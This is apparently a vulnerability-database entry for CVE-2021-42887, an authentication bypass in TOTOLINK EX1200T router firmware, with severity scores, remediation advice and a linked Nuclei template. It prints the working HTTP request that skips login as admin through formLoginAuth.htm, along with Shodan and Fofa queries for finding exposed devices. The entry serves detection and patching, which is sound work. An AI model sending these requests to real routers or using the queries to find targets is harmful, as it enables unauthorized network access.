🔙 목록으로 돌아가기

CVE-2021-42887: TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass

TitleTOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass
Authorgy741
SeverityCritical
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to the device, potentially leading to further compromise of the network.
RemediationApply the latest firmware update provided by TOTOLINK to fix the authentication bypass vulnerability.
CVSS Score9.8
EPSS Score0.61314
CVE IDCVE-2021-42887
CWE IDCWE-287
Shodan Querytitle:"TOTOLINK"http.title:"totolink"
Fofa Querytitle="totolink"
Tags cve2021 cve totolink auth-bypass router vuln

🔍 Vulnerability Description

TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /login.htm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Accept-Encoding: gzip
GET /formLoginAuth.htm?authCode=1&userName=admin&goURL&action=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42887.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-42887.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A